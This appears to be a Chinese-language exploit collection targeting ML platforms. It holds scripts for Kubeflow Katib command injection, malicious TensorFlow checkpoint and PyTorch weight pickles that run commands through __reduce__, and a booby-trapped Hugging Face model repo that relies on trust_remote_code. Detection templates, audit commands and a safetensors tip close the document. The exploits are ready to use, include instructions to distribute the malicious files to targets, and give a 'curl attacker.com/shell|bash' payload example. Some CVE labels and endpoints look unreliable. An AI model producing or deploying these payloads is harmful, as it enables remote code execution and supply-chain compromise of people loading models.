urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class KatibExploit:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def create_malicious_trial(self, command="id"):
        print("[*] 创建恶意超参数搜索实验...")
        payload = {
            "name": "cve-2022-26532-exploit",
            "namespace": "kubeflow",
            "spec": {
                "objective": {"type": "maximize", "goal": 0.99},
                "algorithm": {"algorithmName": "random"},
                "parallelTrialCount": 1,
                "maxTrialCount": 1,
                "parameters": [
                    {"name": "lr", "parameterType": "double", "feasibleSpace": {"min": "0.01", "max": "0.1"}}
                ],
                "trialTemplate": {
                    "trialParameters": [{"name": "learningRate", "reference": "lr"}],
                    "trialSpec": {
                        "apiVersion": "batch/v1",
                        "kind": "Job",
                        "spec": {
                            "template": {
                                "spec": {
                                    "containers": [{
                                        "name": "training-container",
                                        "image": f"busybox:latest",
                                        "command": ["/bin/sh", "-c", f"{command}"],
                                    }],
                                    "restartPolicy": "Never",
                                }
                            }
                        },
                    },
                },
                "metricsCollectorSpec": {
                    "collector": {
                        "kind": "StdOut",
                    },
                },
            },
        }
        resp = self.session.post(
            f"{self.base_url}/apis/kubeflow.org/v1beta1/namespaces/kubeflow/suggestions",
            json=payload, timeout=10,
        )
        print(f"[*] 创建响应: {resp.status_code} {resp.text[:200]}")

    def exploit(self, command="id"):
        self.create_malicious_trial(command)


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <katib_url> [command]")
        sys.exit(1)
    KatibExploit(sys.argv[1]).exploit(sys.argv[2] if len(sys.argv) > 2 else "id")

id: cve-2022-26532
info:
  name: Kubeflow Katib 命令注入
  author: security-researcher
  severity: high
  description: Kubeflow Katib < 0.13.0 通过恶意容器镜像实现命令注入
  classification:
    cvss-score: 8.8
    cwe-id: CWE-20
  tags: cve,cve2022,kubeflow,katib,rce,command-injection

requests:
  - raw:
      - |
        GET /apis/kubeflow.org/v1beta1/namespaces/kubeflow/suggestions HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 403
          - 401

#!/usr/bin/env python3
"""
CVE-2022-41877 TensorFlow CHECKPOINT 反序列化 RCE
用法: python3 cve_2022_41877.py <output_file> [command]
"""
import sys
import pickle
import os


class MaliciousCheckpoint:
    def __reduce__(self):
        import subprocess
        cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
        return (subprocess.check_output, (cmd,), {"shell": True})


def create_exploit_file(output_path, command="id"):
    print(f"[*] 生成恶意 CHECKPOINT 文件: {output_path}")
    payload = pickle.dumps(MaliciousCheckpoint())
    with open(output_path, "wb") as f:
        f.write(payload)
    print(f"[+] 恶意文件已创建: {len(payload)} bytes")
    print(f"[+] 分发此文件到目标环境并使用 tf.train.Checkpoint 加载即可触发")
    print(f"[+] 触发代码示例:")
    print(f"    import tensorflow as tf")
    print(f"    ckpt = tf.train.Checkpoint()")
    print(f"    ckpt.read('{output_path}')")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <output_file> [command]")
        print(f"示例: python3 {sys.argv[0]} malicious.ckpt 'curl attacker.com/shell|bash'")
        sys.exit(1)
    create_exploit_file(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "id")

id: cve-2022-41877
info:
  name: TensorFlow CHECKPOINT 反序列化
  author: security-researcher
  severity: high
  description: TensorFlow CHECKPOINT 文件反序列化导致 RCE
  classification:
    cvss-score: 8.8
    cwe-id: CWE-502
  tags: cve,cve2022,tensorflow,deserialization,rce

network:
  - inputs:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "tensorboard"
          - "tensorflow"
        condition: or

      - type: status
        status:
          - 200

#!/usr/bin/env python3
"""
CVE-2024-24802 Hugging Face Transformers trust_remote_code RCE
用法: python3 cve_2024_24802.py <output_dir> [command]
"""
import sys
import os


MALICIOUS_MODELING_PY = '''#!/usr/bin/env python3
import subprocess
import os

# 模块级代码在 import 时自动执行
result = subprocess.check_output(
    os.popen("{command}"),
    shell=True
).decode()
print(f"[!] RCE triggered: {{result}}")

class MaliciousModel:
    def __init__(self):
        pass

    def generate(self, text):
        return "model loaded"
'''


def create_malicious_repo(output_dir, command="id"):
    print(f"[*] 创建恶意 Hugging Face 模型仓库结构: {output_dir}")
    os.makedirs(output_dir, exist_ok=True)
    modeling = MALICIOUS_MODELING_PY.replace("{command}", command)
    with open(os.path.join(output_dir, "modeling_malicious.py"), "w") as f:
        f.write(modeling)
    config = '{"architectures": ["MaliciousModel"], "auto_map": {"AutoModel": "modeling_malicious.MaliciousModel"}}'
    with open(os.path.join(output_dir, "config.json"), "w") as f:
        f.write(config)
    with open(os.path.join(output_dir, "README.md"), "w") as f:
        f.write("# Malicious Model\n\nUse `trust_remote_code=True` to load.\n")
    print(f"[+] 恶意仓库结构已创建")
    print(f"[+] 使用说明:")
    print(f"    from transformers import AutoModel")
    print(f"    model = AutoModel.from_pretrained('{output_dir}', trust_remote_code=True)")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <output_dir> [command]")
        sys.exit(1)
    create_malicious_repo(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "id")

id: cve-2024-24802
info:
  name: Hugging Face trust_remote_code RCE
  author: security-researcher
  severity: high
  description: Transformers trust_remote_code=True 远程代码执行
  classification:
    cvss-score: 8.1
    cwe-id: CWE-94
  tags: cve,cve2024,huggingface,transformers,rce,supply-chain

requests:
  - raw:
      - |
        GET /api/models?filter=trust_remote_code HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200

#!/usr/bin/env python3
"""
CVE-2025-3290 Transformers 模型反序列化 RCE
用法: python3 cve_2025_3290.py <output_dir> [command]
"""
import sys
import os
import pickle
import torch


class MaliciousModule(torch.nn.Module):
    def __reduce__(self):
        import subprocess
        cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
        return (subprocess.check_output, (cmd,), {"shell": True})

    def forward(self, x):
        return x


def create_malicious_weights(output_dir, command="id"):
    print(f"[*] 生成恶意 PyTorch 权重文件...")
    os.makedirs(output_dir, exist_ok=True)
    state_dict = {"malicious.weight": MaliciousModule()}
    output_path = os.path.join(output_dir, "pytorch_model.bin")
    torch.save(state_dict, output_path)
    print(f"[+] 恶意权重文件: {output_path}")
    print(f"[+] 用户加载时触发: model = AutoModel.from_pretrained('{output_dir}')")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <output_dir> [command]")
        sys.exit(1)
    create_malicious_weights(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "id")

暴露端口 → 识别管理 API → 直接调用 → RCE

投递恶意模型 → 用户加载模型 → Pickle 反序列化 → __reduce__ 执行 → RCE

构造 ../ 路径 → 绕过路径过滤 → 读取/写入任意文件 → 提权/RCE

构造特殊 next 参数 → 路径穿越重定向 → 获取 admin token → 完全控制

发布恶意模型仓库 → 诱导用户 trust_remote_code=True → 自定义 modeling 代码执行 → RCE

# 1. 检查 Ray Dashboard 是否暴露且无认证
curl -s http://localhost:8265/api/version
curl -s http://localhost:8265/api/jobs/ | head -50

# 2. 检查 TorchServe Management API
curl -s http://localhost:8081/models
curl -s http://localhost:8081/models/<model_name>

# 3. 检查 JupyterHub 版本
jupyterhub --version
# 检查 Jupyter Server 版本
pip show jupyter-server | grep Version

# 4. 检查 MLflow 版本
mlflow --version
# 检查 MLflow 是否开启认证
curl -s http://localhost:5000/api/2.0/mlflow/experiments/search

# 5. 检查 TensorFlow 版本
python3 -c "import tensorflow; print(tensorflow.__version__)"

# 6. 检查 Transformers 版本
pip show transformers | grep Version

# 7. 检查是否使用了不安全的 pickle 模型文件
find /opt/mlflow /home -name "*.bin" -o -name "model.pkl" 2>/dev/null

# 8. 检查暴露在公网的服务端口
ss -tlnp | grep -E '(8265|8081|5000|8888|8000)'

# 9. 检查 Kubeflow Katib 版本
kubectl get pods -n kubeflow -o jsonpath='{.items[*].spec.containers[*].image}'

# 10. 检查是否有可疑的 Ray Job
curl -s http://localhost:8265/api/jobs/ | python3 -m json.tool

# 使用 safetensors 替代 pickle
from safetensors.torch import save_file, load_file
# save_file(model.state_dict(), "model.safetensors")
# model.load_state_dict(load_file("model.safetensors"))